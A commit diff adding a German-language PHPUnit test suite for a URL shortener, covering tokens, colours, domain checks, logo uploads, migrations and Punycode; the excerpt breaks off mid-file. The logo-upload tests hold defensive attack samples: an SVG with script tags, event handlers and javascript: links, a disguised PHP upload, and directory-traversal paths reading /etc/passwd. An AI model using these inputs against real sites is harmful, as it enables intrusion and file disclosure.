test: Testsuite fuer Kernlogik, QR-Codes, Domains und Sicherheit
232 Tests, unter anderem: - Slug-Erzeugung, Kollisionsbehandlung und Validierung - URL-Validierung inklusive IDN, Prozentkodierung und abgelehnter Protokolle; Punycode gegengeprueft gegen idn_to_ascii - QR-Erzeugung in allen Groessen, mit Logo und Level-H-Automatik - Weiterleitung gegen eine echte SQLite-Datenbank samt Domain- Aufloesung ueber den Host-Header - Update einer bestehenden Installation auf mehrere Domains - Angriffsseitig: gefaelschte Proxy-Header, Host-Header-Injektion, SVG mit Skripten, XXE und externen Referenzen
This commit is contained in:
@@ -0,0 +1,89 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
declare(strict_types=1);
|
||||||
|
|
||||||
|
namespace App\Tests;
|
||||||
|
|
||||||
|
use App\Support\CheckToken;
|
||||||
|
use PHPUnit\Framework\TestCase;
|
||||||
|
|
||||||
|
final class CheckTokenTest extends TestCase
|
||||||
|
{
|
||||||
|
private const SECRET = 'a4f1c0d2e3b4a5968778695a4b3c2d1e0f1a2b3c4d5e6f708192a3b4c5d6e7f8';
|
||||||
|
|
||||||
|
public function testFreshTokenIsAccepted(): void
|
||||||
|
{
|
||||||
|
$token = CheckToken::create(self::SECRET);
|
||||||
|
|
||||||
|
self::assertTrue(CheckToken::isValid($token, self::SECRET));
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testTokenOfAnotherInstallationIsRejected(): void
|
||||||
|
{
|
||||||
|
// Genau das beweist die Pruefung: nur wer das Geheimnis kennt,
|
||||||
|
// kann ein gueltiges Token erzeugen.
|
||||||
|
$token = CheckToken::create('ein-anderes-geheimnis');
|
||||||
|
|
||||||
|
self::assertFalse(CheckToken::isValid($token, self::SECRET));
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testExpiredTokenIsRejected(): void
|
||||||
|
{
|
||||||
|
$now = 1_800_000_000;
|
||||||
|
$token = CheckToken::create(self::SECRET, $now);
|
||||||
|
|
||||||
|
self::assertTrue(CheckToken::isValid($token, self::SECRET, $now + CheckToken::LIFETIME - 1));
|
||||||
|
self::assertFalse(CheckToken::isValid($token, self::SECRET, $now + CheckToken::LIFETIME + 1));
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testTokenFromTheFutureIsRejected(): void
|
||||||
|
{
|
||||||
|
$now = 1_800_000_000;
|
||||||
|
$token = CheckToken::create(self::SECRET, $now + 3600);
|
||||||
|
|
||||||
|
self::assertFalse(CheckToken::isValid($token, self::SECRET, $now));
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @return array<string,array{0:string}>
|
||||||
|
*/
|
||||||
|
public static function malformedProvider(): array
|
||||||
|
{
|
||||||
|
return [
|
||||||
|
'leer' => [''],
|
||||||
|
'ohne Punkt' => ['1800000000'],
|
||||||
|
'ohne Signatur' => ['1800000000.'],
|
||||||
|
'Text statt Zeitstempel' => ['abc.def'],
|
||||||
|
'nur Signatur' => ['.abcdef'],
|
||||||
|
'negativer Zeitstempel' => ['-100.abcdef'],
|
||||||
|
'zu viele Teile' => ['1800000000.abc.def'],
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @dataProvider malformedProvider
|
||||||
|
*/
|
||||||
|
public function testMalformedTokensAreRejected(string $token): void
|
||||||
|
{
|
||||||
|
self::assertFalse(CheckToken::isValid($token, self::SECRET));
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testSignatureIsNotGuessable(): void
|
||||||
|
{
|
||||||
|
$now = 1_800_000_000;
|
||||||
|
$valid = CheckToken::create(self::SECRET, $now);
|
||||||
|
|
||||||
|
// Signatur um ein Zeichen veraendert.
|
||||||
|
$tampered = substr($valid, 0, -1) . (str_ends_with($valid, 'a') ? 'b' : 'a');
|
||||||
|
|
||||||
|
self::assertNotSame($valid, $tampered);
|
||||||
|
self::assertFalse(CheckToken::isValid($tampered, self::SECRET, $now));
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testTokenContainsNoSecret(): void
|
||||||
|
{
|
||||||
|
$token = CheckToken::create(self::SECRET);
|
||||||
|
|
||||||
|
self::assertStringNotContainsString(self::SECRET, $token);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,48 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
declare(strict_types=1);
|
||||||
|
|
||||||
|
namespace App\Tests;
|
||||||
|
|
||||||
|
use App\Support\Color;
|
||||||
|
use PHPUnit\Framework\TestCase;
|
||||||
|
|
||||||
|
final class ColorTest extends TestCase
|
||||||
|
{
|
||||||
|
public function testNormalizeHex(): void
|
||||||
|
{
|
||||||
|
self::assertSame('#ffffff', Color::normalizeHex('#FFF'));
|
||||||
|
self::assertSame('#000000', Color::normalizeHex('000000'));
|
||||||
|
self::assertSame('#2c5cc5', Color::normalizeHex('#2C5CC5'));
|
||||||
|
self::assertSame('#000000', Color::normalizeHex('keine-farbe'));
|
||||||
|
self::assertSame('#ffffff', Color::normalizeHex('quatsch', '#ffffff'));
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testContrastRatioExtremes(): void
|
||||||
|
{
|
||||||
|
self::assertSame(21.0, Color::contrastRatio('#000000', '#ffffff'));
|
||||||
|
self::assertSame(1.0, Color::contrastRatio('#123456', '#123456'));
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testWarningForLowContrast(): void
|
||||||
|
{
|
||||||
|
self::assertNotNull(Color::qrWarning('#888888', '#999999'));
|
||||||
|
self::assertNull(Color::qrWarning('#000000', '#ffffff'));
|
||||||
|
self::assertNull(Color::qrWarning('#0b4f9e', '#ffffff'));
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testWarningForInvertedCodes(): void
|
||||||
|
{
|
||||||
|
$warning = Color::qrWarning('#ffffff', '#000000');
|
||||||
|
|
||||||
|
self::assertNotNull($warning);
|
||||||
|
self::assertStringContainsString('invertierte', $warning);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testToRgb(): void
|
||||||
|
{
|
||||||
|
self::assertSame([255, 255, 255], Color::toRgb('#ffffff'));
|
||||||
|
self::assertSame([44, 92, 197], Color::toRgb('#2c5cc5'));
|
||||||
|
self::assertSame([0, 0, 0], Color::toRgb('#000'));
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,125 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
declare(strict_types=1);
|
||||||
|
|
||||||
|
namespace App\Tests;
|
||||||
|
|
||||||
|
use App\Database;
|
||||||
|
use App\Migrator;
|
||||||
|
use App\Repository\SettingRepository;
|
||||||
|
use App\Service\DomainChecker;
|
||||||
|
use PHPUnit\Framework\TestCase;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Die vollstaendige Kette (Domain kommt bei dieser Installation an)
|
||||||
|
* laesst sich nur gegen einen laufenden Server pruefen - das passiert
|
||||||
|
* im End-to-End-Test. Hier geht es um die Teile, die ohne Netz
|
||||||
|
* eindeutig sind.
|
||||||
|
*/
|
||||||
|
final class DomainCheckerTest extends TestCase
|
||||||
|
{
|
||||||
|
private DomainChecker $checker;
|
||||||
|
private SettingRepository $settings;
|
||||||
|
|
||||||
|
protected function setUp(): void
|
||||||
|
{
|
||||||
|
$db = Database::sqlite(':memory:');
|
||||||
|
(new Migrator($db, dirname(__DIR__) . '/migrations'))->migrate();
|
||||||
|
|
||||||
|
$this->settings = new SettingRepository($db);
|
||||||
|
$this->checker = new DomainChecker($this->settings);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param array<string,mixed> $extra
|
||||||
|
* @return array<string,mixed>
|
||||||
|
*/
|
||||||
|
private function domain(string $baseUrl, array $extra = []): array
|
||||||
|
{
|
||||||
|
return ['id' => 1, 'base_url' => $baseUrl, 'host' => '', 'is_default' => 0] + $extra;
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testSecretIsStableAcrossCalls(): void
|
||||||
|
{
|
||||||
|
$first = $this->settings->secret();
|
||||||
|
|
||||||
|
self::assertSame($first, $this->settings->secret());
|
||||||
|
self::assertGreaterThanOrEqual(32, strlen($first));
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testResultHasTheExpectedShape(): void
|
||||||
|
{
|
||||||
|
$result = $this->checker->check($this->domain('http://127.0.0.1:1'));
|
||||||
|
|
||||||
|
self::assertArrayHasKey('status', $result);
|
||||||
|
self::assertArrayHasKey('summary', $result);
|
||||||
|
self::assertArrayHasKey('checks', $result);
|
||||||
|
self::assertArrayHasKey('hint', $result);
|
||||||
|
self::assertContains($result['status'], [DomainChecker::OK, DomainChecker::WARNING, DomainChecker::ERROR]);
|
||||||
|
|
||||||
|
foreach ($result['checks'] as $check) {
|
||||||
|
self::assertArrayHasKey('label', $check);
|
||||||
|
self::assertArrayHasKey('status', $check);
|
||||||
|
self::assertArrayHasKey('text', $check);
|
||||||
|
self::assertNotSame('', $check['text']);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testIpAddressNeedsNoDnsEntry(): void
|
||||||
|
{
|
||||||
|
$result = $this->checker->check($this->domain('http://127.0.0.1:1'));
|
||||||
|
|
||||||
|
self::assertSame('DNS', $result['checks'][0]['label']);
|
||||||
|
self::assertSame(DomainChecker::OK, $result['checks'][0]['status']);
|
||||||
|
self::assertStringContainsString('kein DNS-Eintrag', $result['checks'][0]['text']);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testUnreachableDomainIsReportedAsError(): void
|
||||||
|
{
|
||||||
|
// Auf Port 1 lauscht nichts.
|
||||||
|
$result = $this->checker->check($this->domain('http://127.0.0.1:1'));
|
||||||
|
|
||||||
|
self::assertSame(DomainChecker::ERROR, $result['status']);
|
||||||
|
self::assertStringContainsString('nicht auf diese Installation', $result['summary']);
|
||||||
|
self::assertNotNull($result['hint'], 'Bei Misserfolg muss der Hairpinning-Hinweis erscheinen.');
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testNonResolvableHostFails(): void
|
||||||
|
{
|
||||||
|
// ".invalid" ist laut RFC 2606 reserviert und existiert nie.
|
||||||
|
$result = $this->checker->check($this->domain('https://gibt-es-nicht.invalid'));
|
||||||
|
|
||||||
|
self::assertSame(DomainChecker::ERROR, $result['status']);
|
||||||
|
|
||||||
|
// Je nach Resolver scheitert schon DNS oder erst der Abruf -
|
||||||
|
// in beiden Faellen darf die Domain nicht als in Ordnung gelten.
|
||||||
|
$labels = array_column($result['checks'], 'label');
|
||||||
|
self::assertContains('DNS', $labels);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testPortIsStrippedBeforeDnsLookup(): void
|
||||||
|
{
|
||||||
|
// Enthielte der Hostname noch den Port, waere die Auflösung
|
||||||
|
// zwangslaeufig fehlgeschlagen.
|
||||||
|
$result = $this->checker->check($this->domain('http://localhost:1'));
|
||||||
|
|
||||||
|
self::assertSame('DNS', $result['checks'][0]['label']);
|
||||||
|
self::assertSame(DomainChecker::OK, $result['checks'][0]['status'], $result['checks'][0]['text']);
|
||||||
|
self::assertStringContainsString('localhost', $result['checks'][0]['text']);
|
||||||
|
self::assertStringNotContainsString('localhost:1', $result['checks'][0]['text']);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testCheckDoesNotThrowOnOddInput(): void
|
||||||
|
{
|
||||||
|
foreach ([
|
||||||
|
'http://127.0.0.1:1',
|
||||||
|
'https://gibt-es-nicht.invalid',
|
||||||
|
'http://localhost:1/unterverzeichnis',
|
||||||
|
] as $baseUrl) {
|
||||||
|
$result = $this->checker->check($this->domain($baseUrl));
|
||||||
|
|
||||||
|
self::assertIsArray($result, $baseUrl);
|
||||||
|
self::assertNotSame('', $result['summary'], $baseUrl);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,190 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
declare(strict_types=1);
|
||||||
|
|
||||||
|
namespace App\Tests;
|
||||||
|
|
||||||
|
use App\Qr\LogoStore;
|
||||||
|
use PHPUnit\Framework\TestCase;
|
||||||
|
use RuntimeException;
|
||||||
|
|
||||||
|
final class LogoStoreTest extends TestCase
|
||||||
|
{
|
||||||
|
private string $uploadDir;
|
||||||
|
private string $tmpDir;
|
||||||
|
|
||||||
|
protected function setUp(): void
|
||||||
|
{
|
||||||
|
$suffix = bin2hex(random_bytes(4));
|
||||||
|
$this->uploadDir = sys_get_temp_dir() . '/urlshort-uploads-' . $suffix;
|
||||||
|
$this->tmpDir = sys_get_temp_dir() . '/urlshort-tmp-' . $suffix;
|
||||||
|
mkdir($this->uploadDir, 0775, true);
|
||||||
|
mkdir($this->tmpDir, 0775, true);
|
||||||
|
}
|
||||||
|
|
||||||
|
protected function tearDown(): void
|
||||||
|
{
|
||||||
|
foreach ([$this->uploadDir, $this->tmpDir] as $dir) {
|
||||||
|
foreach (glob($dir . '/*') ?: [] as $file) {
|
||||||
|
unlink($file);
|
||||||
|
}
|
||||||
|
if (is_dir($dir)) {
|
||||||
|
rmdir($dir);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private function store(): LogoStore
|
||||||
|
{
|
||||||
|
return new LogoStore($this->uploadDir, 1024 * 1024);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @return array<string,mixed>
|
||||||
|
*/
|
||||||
|
private function upload(string $name, string $contents): array
|
||||||
|
{
|
||||||
|
$path = $this->tmpDir . '/' . bin2hex(random_bytes(4));
|
||||||
|
file_put_contents($path, $contents);
|
||||||
|
|
||||||
|
return [
|
||||||
|
'name' => $name,
|
||||||
|
'tmp_name' => $path,
|
||||||
|
'size' => strlen($contents),
|
||||||
|
'error' => UPLOAD_ERR_OK,
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
private function validPng(int $width = 64, int $height = 64): string
|
||||||
|
{
|
||||||
|
$image = imagecreatetruecolor($width, $height);
|
||||||
|
self::assertNotFalse($image);
|
||||||
|
imagefilledrectangle($image, 0, 0, $width - 1, $height - 1, (int) imagecolorallocate($image, 11, 79, 158));
|
||||||
|
|
||||||
|
ob_start();
|
||||||
|
imagepng($image);
|
||||||
|
$data = (string) ob_get_clean();
|
||||||
|
imagedestroy($image);
|
||||||
|
|
||||||
|
return $data;
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testValidPngIsStoredWithGeneratedName(): void
|
||||||
|
{
|
||||||
|
$filename = $this->store()->store($this->upload('mein logo.png', $this->validPng()), 7);
|
||||||
|
|
||||||
|
self::assertMatchesRegularExpression('/^logo-7-[a-f0-9]{12}\.png$/', $filename);
|
||||||
|
self::assertFileExists($this->uploadDir . '/' . $filename);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testCorruptPngIsRejected(): void
|
||||||
|
{
|
||||||
|
// Gueltiger PNG-Header, aber unbrauchbare Bilddaten: getimagesize()
|
||||||
|
// akzeptiert das, GD kann es nicht dekodieren.
|
||||||
|
$corrupt = base64_decode(
|
||||||
|
'iVBORw0KGgoAAAANSUhEUgAAAAgAAAAICAYAAADED76LAAAAHUlEQVQoz2NkYPjPQApgYhhVMKpgVMGoglEFpCsAAFXsAQEt4A0oAAAAAElFTkSuQmCC',
|
||||||
|
true,
|
||||||
|
);
|
||||||
|
self::assertIsString($corrupt);
|
||||||
|
|
||||||
|
$this->expectException(RuntimeException::class);
|
||||||
|
$this->expectExceptionMessageMatches('/beschaedigt|gelesen/');
|
||||||
|
|
||||||
|
$this->store()->store($this->upload('kaputt.png', $corrupt), 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testOversizedImageIsRejected(): void
|
||||||
|
{
|
||||||
|
$this->expectException(RuntimeException::class);
|
||||||
|
$this->expectExceptionMessageMatches('/zu gross/');
|
||||||
|
|
||||||
|
$this->store()->store($this->upload('riesig.png', $this->validPng(4200, 10)), 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testNonImageIsRejected(): void
|
||||||
|
{
|
||||||
|
$this->expectException(RuntimeException::class);
|
||||||
|
$this->expectExceptionMessageMatches('/Nur PNG, JPG und SVG/');
|
||||||
|
|
||||||
|
$this->store()->store($this->upload('schad.php', '<?php echo 1;'), 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testTooLargeFileIsRejected(): void
|
||||||
|
{
|
||||||
|
$store = new LogoStore($this->uploadDir, 100);
|
||||||
|
|
||||||
|
$this->expectException(RuntimeException::class);
|
||||||
|
$this->expectExceptionMessageMatches('/hoechstens/');
|
||||||
|
|
||||||
|
$store->store($this->upload('gross.png', $this->validPng()), 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testSvgIsStrippedOfScriptsAndHandlers(): void
|
||||||
|
{
|
||||||
|
$svg = '<?xml version="1.0"?><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 10 10" onload="alert(1)">'
|
||||||
|
. '<script>alert(2)</script>'
|
||||||
|
. '<circle cx="5" cy="5" r="5" fill="#ff0000" onclick="alert(3)"/>'
|
||||||
|
. '<a href="javascript:alert(4)">x</a>'
|
||||||
|
. '</svg>';
|
||||||
|
|
||||||
|
$filename = $this->store()->store($this->upload('logo.svg', $svg), 3);
|
||||||
|
$stored = (string) file_get_contents($this->uploadDir . '/' . $filename);
|
||||||
|
|
||||||
|
self::assertStringEndsWith('.svg', $filename);
|
||||||
|
self::assertStringNotContainsString('<script', $stored);
|
||||||
|
self::assertStringNotContainsString('onload', $stored);
|
||||||
|
self::assertStringNotContainsString('onclick', $stored);
|
||||||
|
self::assertStringNotContainsString('javascript:', $stored);
|
||||||
|
// Der eigentliche Bildinhalt bleibt erhalten.
|
||||||
|
self::assertStringContainsString('<circle', $stored);
|
||||||
|
self::assertStringContainsString('#ff0000', $stored);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testSvgWithoutSvgElementIsRejected(): void
|
||||||
|
{
|
||||||
|
$this->expectException(RuntimeException::class);
|
||||||
|
|
||||||
|
$this->store()->store($this->upload('fake.svg', 'nur text, kein svg'), 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testPathForIgnoresDirectoryTraversal(): void
|
||||||
|
{
|
||||||
|
$store = $this->store();
|
||||||
|
$store->store($this->upload('logo.png', $this->validPng()), 5);
|
||||||
|
|
||||||
|
self::assertNull($store->pathFor('../../../etc/passwd'));
|
||||||
|
self::assertNull($store->pathFor('..\\..\\windows\\win.ini'));
|
||||||
|
self::assertNull($store->pathFor(null));
|
||||||
|
self::assertNull($store->pathFor(''));
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testDeleteRemovesTheFile(): void
|
||||||
|
{
|
||||||
|
$store = $this->store();
|
||||||
|
$filename = $store->store($this->upload('logo.png', $this->validPng()), 9);
|
||||||
|
|
||||||
|
self::assertFileExists($this->uploadDir . '/' . $filename);
|
||||||
|
|
||||||
|
$store->delete($filename);
|
||||||
|
|
||||||
|
self::assertFileDoesNotExist($this->uploadDir . '/' . $filename);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testIsSvgDetection(): void
|
||||||
|
{
|
||||||
|
$store = $this->store();
|
||||||
|
|
||||||
|
self::assertTrue($store->isSvg('logo-1-abc.svg'));
|
||||||
|
self::assertTrue($store->isSvg('LOGO.SVG'));
|
||||||
|
self::assertFalse($store->isSvg('logo-1-abc.png'));
|
||||||
|
self::assertFalse($store->isSvg(null));
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testMissingUploadIsReported(): void
|
||||||
|
{
|
||||||
|
$this->expectException(RuntimeException::class);
|
||||||
|
$this->expectExceptionMessageMatches('/keine Datei/');
|
||||||
|
|
||||||
|
$this->store()->store(['error' => UPLOAD_ERR_NO_FILE], 1);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,175 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
declare(strict_types=1);
|
||||||
|
|
||||||
|
namespace App\Tests;
|
||||||
|
|
||||||
|
use App\Database;
|
||||||
|
use App\Migrator;
|
||||||
|
use App\Repository\DomainRepository;
|
||||||
|
use App\Repository\LinkRepository;
|
||||||
|
use PHPUnit\Framework\TestCase;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Prueft den Weg einer bereits laufenden Installation auf die Version
|
||||||
|
* mit mehreren Domains: die links-Tabelle wird dabei in SQLite neu
|
||||||
|
* aufgebaut - dabei darf nichts verloren gehen.
|
||||||
|
*/
|
||||||
|
final class MigrationUpgradeTest extends TestCase
|
||||||
|
{
|
||||||
|
private string $partialDir;
|
||||||
|
|
||||||
|
protected function setUp(): void
|
||||||
|
{
|
||||||
|
// Verzeichnis, das nur die erste Migration enthaelt.
|
||||||
|
$this->partialDir = sys_get_temp_dir() . '/urlshort-mig-' . bin2hex(random_bytes(4));
|
||||||
|
mkdir($this->partialDir, 0775, true);
|
||||||
|
copy(dirname(__DIR__) . '/migrations/001_initial.php', $this->partialDir . '/001_initial.php');
|
||||||
|
}
|
||||||
|
|
||||||
|
protected function tearDown(): void
|
||||||
|
{
|
||||||
|
foreach (glob($this->partialDir . '/*') ?: [] as $file) {
|
||||||
|
unlink($file);
|
||||||
|
}
|
||||||
|
if (is_dir($this->partialDir)) {
|
||||||
|
rmdir($this->partialDir);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testUpgradeKeepsAllDataAndBackfillsTheDefaultDomain(): void
|
||||||
|
{
|
||||||
|
$db = Database::sqlite(':memory:');
|
||||||
|
|
||||||
|
// --- Stand vor dem Update -------------------------------------
|
||||||
|
$applied = (new Migrator($db, $this->partialDir))->migrate();
|
||||||
|
self::assertSame(['001_initial'], $applied);
|
||||||
|
|
||||||
|
$now = gmdate('Y-m-d H:i:s');
|
||||||
|
$db->execute(
|
||||||
|
'INSERT INTO links (slug, target_url, title, is_active, click_count, last_clicked_at, created_at, updated_at)
|
||||||
|
VALUES (?, ?, ?, 1, 42, ?, ?, ?)',
|
||||||
|
['messe2026', 'https://www.beispiel.de/messe', 'Messe-Flyer', $now, $now, $now],
|
||||||
|
);
|
||||||
|
$linkId = $db->lastInsertId();
|
||||||
|
|
||||||
|
$db->execute(
|
||||||
|
'INSERT INTO links (slug, target_url, title, is_active, click_count, created_at, updated_at)
|
||||||
|
VALUES (?, ?, NULL, 0, 7, ?, ?)',
|
||||||
|
['pausiert', 'https://www.beispiel.de/alt', $now, $now],
|
||||||
|
);
|
||||||
|
$inactiveId = $db->lastInsertId();
|
||||||
|
|
||||||
|
$db->execute(
|
||||||
|
'INSERT INTO visits (link_id, visited_at, referrer_host, user_agent, device_type, browser, platform)
|
||||||
|
VALUES (?, ?, ?, ?, ?, ?, ?)',
|
||||||
|
[$linkId, $now, 'google.de', 'Mozilla/5.0', 'mobile', 'Safari', 'iOS'],
|
||||||
|
);
|
||||||
|
|
||||||
|
$db->execute(
|
||||||
|
'INSERT INTO qr_designs (link_id, foreground_color, background_color, size, margin, error_correction, logo_scale, logo_punchout, updated_at)
|
||||||
|
VALUES (?, ?, ?, ?, ?, ?, ?, 1, ?)',
|
||||||
|
[$linkId, '#0b4f9e', '#ffffff', 1024, 6, 'Q', 22, $now],
|
||||||
|
);
|
||||||
|
|
||||||
|
// --- Update ---------------------------------------------------
|
||||||
|
$applied = (new Migrator($db, dirname(__DIR__) . '/migrations'))->migrate();
|
||||||
|
self::assertSame(['002_domains'], $applied, 'Nur die neue Migration darf laufen.');
|
||||||
|
|
||||||
|
// --- Bestand pruefen ------------------------------------------
|
||||||
|
$links = new LinkRepository($db);
|
||||||
|
|
||||||
|
$link = $links->find($linkId);
|
||||||
|
self::assertNotNull($link, 'Der Bestandslink muss erhalten bleiben.');
|
||||||
|
self::assertSame('messe2026', $link['slug']);
|
||||||
|
self::assertSame('https://www.beispiel.de/messe', $link['target_url']);
|
||||||
|
self::assertSame('Messe-Flyer', $link['title']);
|
||||||
|
self::assertSame(42, (int) $link['click_count']);
|
||||||
|
self::assertSame(1, (int) $link['is_active']);
|
||||||
|
self::assertNotNull($link['last_clicked_at']);
|
||||||
|
|
||||||
|
$inactive = $links->find($inactiveId);
|
||||||
|
self::assertNotNull($inactive);
|
||||||
|
self::assertSame(0, (int) $inactive['is_active']);
|
||||||
|
self::assertSame(7, (int) $inactive['click_count']);
|
||||||
|
|
||||||
|
// Verknuepfte Daten haengen weiterhin an derselben ID.
|
||||||
|
self::assertSame(1, (int) $db->fetchValue('SELECT COUNT(*) FROM visits WHERE link_id = ?', [$linkId]));
|
||||||
|
self::assertSame(1, (int) $db->fetchValue('SELECT COUNT(*) FROM qr_designs WHERE link_id = ?', [$linkId]));
|
||||||
|
|
||||||
|
// Vor der Zuordnung tragen Bestandslinks den Platzhalter 0.
|
||||||
|
self::assertSame(DomainRepository::UNASSIGNED, (int) $link['domain_id']);
|
||||||
|
|
||||||
|
// --- Standarddomain anlegen und nachtragen --------------------
|
||||||
|
$domains = new DomainRepository($db);
|
||||||
|
$domain = $domains->defaultDomain('https://short.example.de');
|
||||||
|
$domainId = (int) $domain['id'];
|
||||||
|
|
||||||
|
self::assertSame('short.example.de', $domain['host']);
|
||||||
|
|
||||||
|
foreach ([$linkId, $inactiveId] as $id) {
|
||||||
|
self::assertSame($domainId, (int) $links->find($id)['domain_id']);
|
||||||
|
}
|
||||||
|
|
||||||
|
self::assertSame(
|
||||||
|
'https://short.example.de/messe2026',
|
||||||
|
LinkRepository::shortUrlOf($links->find($linkId), 'https://short.example.de'),
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testUpgradeReplacesTheGlobalSlugUniquenessWithPerDomain(): void
|
||||||
|
{
|
||||||
|
$db = Database::sqlite(':memory:');
|
||||||
|
(new Migrator($db, $this->partialDir))->migrate();
|
||||||
|
|
||||||
|
$now = gmdate('Y-m-d H:i:s');
|
||||||
|
$db->execute(
|
||||||
|
'INSERT INTO links (slug, target_url, is_active, click_count, created_at, updated_at)
|
||||||
|
VALUES (?, ?, 1, 0, ?, ?)',
|
||||||
|
['messe', 'https://www.beispiel.de/a', $now, $now],
|
||||||
|
);
|
||||||
|
|
||||||
|
(new Migrator($db, dirname(__DIR__) . '/migrations'))->migrate();
|
||||||
|
|
||||||
|
$domains = new DomainRepository($db);
|
||||||
|
$links = new LinkRepository($db);
|
||||||
|
|
||||||
|
$defaultId = (int) $domains->defaultDomain('https://short.example.de')['id'];
|
||||||
|
$qrId = $domains->create('https://qr.example.de', null, false);
|
||||||
|
|
||||||
|
// Derselbe Slug auf einer anderen Domain ist jetzt erlaubt ...
|
||||||
|
$links->create($qrId, 'messe', 'https://www.beispiel.de/b');
|
||||||
|
self::assertTrue($links->slugExists('messe', $qrId));
|
||||||
|
|
||||||
|
// ... auf derselben Domain aber weiterhin nicht.
|
||||||
|
$this->expectException(\PDOException::class);
|
||||||
|
$links->create($defaultId, 'messe', 'https://www.beispiel.de/c');
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testUpgradedDatabaseStillHasAllTablesAndIndexes(): void
|
||||||
|
{
|
||||||
|
$db = Database::sqlite(':memory:');
|
||||||
|
(new Migrator($db, $this->partialDir))->migrate();
|
||||||
|
(new Migrator($db, dirname(__DIR__) . '/migrations'))->migrate();
|
||||||
|
|
||||||
|
$tables = array_column(
|
||||||
|
$db->fetchAll("SELECT name FROM sqlite_master WHERE type = 'table' ORDER BY name"),
|
||||||
|
'name',
|
||||||
|
);
|
||||||
|
|
||||||
|
foreach (['links', 'visits', 'qr_designs', 'settings', 'login_attempts', 'domains', 'migrations'] as $table) {
|
||||||
|
self::assertContains($table, $tables);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Die Hilfstabelle des Umbaus darf nicht zurueckbleiben.
|
||||||
|
self::assertNotContains('links_new', $tables);
|
||||||
|
|
||||||
|
$indexes = array_column(
|
||||||
|
$db->fetchAll("SELECT name FROM sqlite_master WHERE type = 'index' AND tbl_name = 'links'"),
|
||||||
|
'name',
|
||||||
|
);
|
||||||
|
|
||||||
|
self::assertContains('idx_links_created_at', $indexes);
|
||||||
|
self::assertContains('idx_links_domain', $indexes);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,100 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
declare(strict_types=1);
|
||||||
|
|
||||||
|
namespace App\Tests;
|
||||||
|
|
||||||
|
use App\Support\Punycode;
|
||||||
|
use PHPUnit\Framework\TestCase;
|
||||||
|
|
||||||
|
final class PunycodeTest extends TestCase
|
||||||
|
{
|
||||||
|
public function testAsciiHostsBleibenUnveraendert(): void
|
||||||
|
{
|
||||||
|
foreach (['example.com', 'sub.domain.co.uk', 'intranet', 'xn--mller-kva.de', ''] as $host) {
|
||||||
|
self::assertSame($host, Punycode::encodeDomain($host));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testIsAscii(): void
|
||||||
|
{
|
||||||
|
self::assertTrue(Punycode::isAscii('example.com'));
|
||||||
|
self::assertTrue(Punycode::isAscii(''));
|
||||||
|
self::assertFalse(Punycode::isAscii('müller.de'));
|
||||||
|
self::assertFalse(Punycode::isAscii('日本語.jp'));
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @return array<string,array{0:string,1:string}>
|
||||||
|
*/
|
||||||
|
public static function domainProvider(): array
|
||||||
|
{
|
||||||
|
return [
|
||||||
|
'muellerde' => ['müller.de', 'xn--mller-kva.de'],
|
||||||
|
'buecherde' => ['bücher.de', 'xn--bcher-kva.de'],
|
||||||
|
'muenchende' => ['münchen.de', 'xn--mnchen-3ya.de'],
|
||||||
|
'nur ein Label' => ['münchen', 'xn--mnchen-3ya'],
|
||||||
|
'mehrere Umlaute' => ['grüße.example.com', 'xn--gre-6ka8l.example.com'],
|
||||||
|
'Subdomain umlautfrei' => ['www.müller.de', 'www.xn--mller-kva.de'],
|
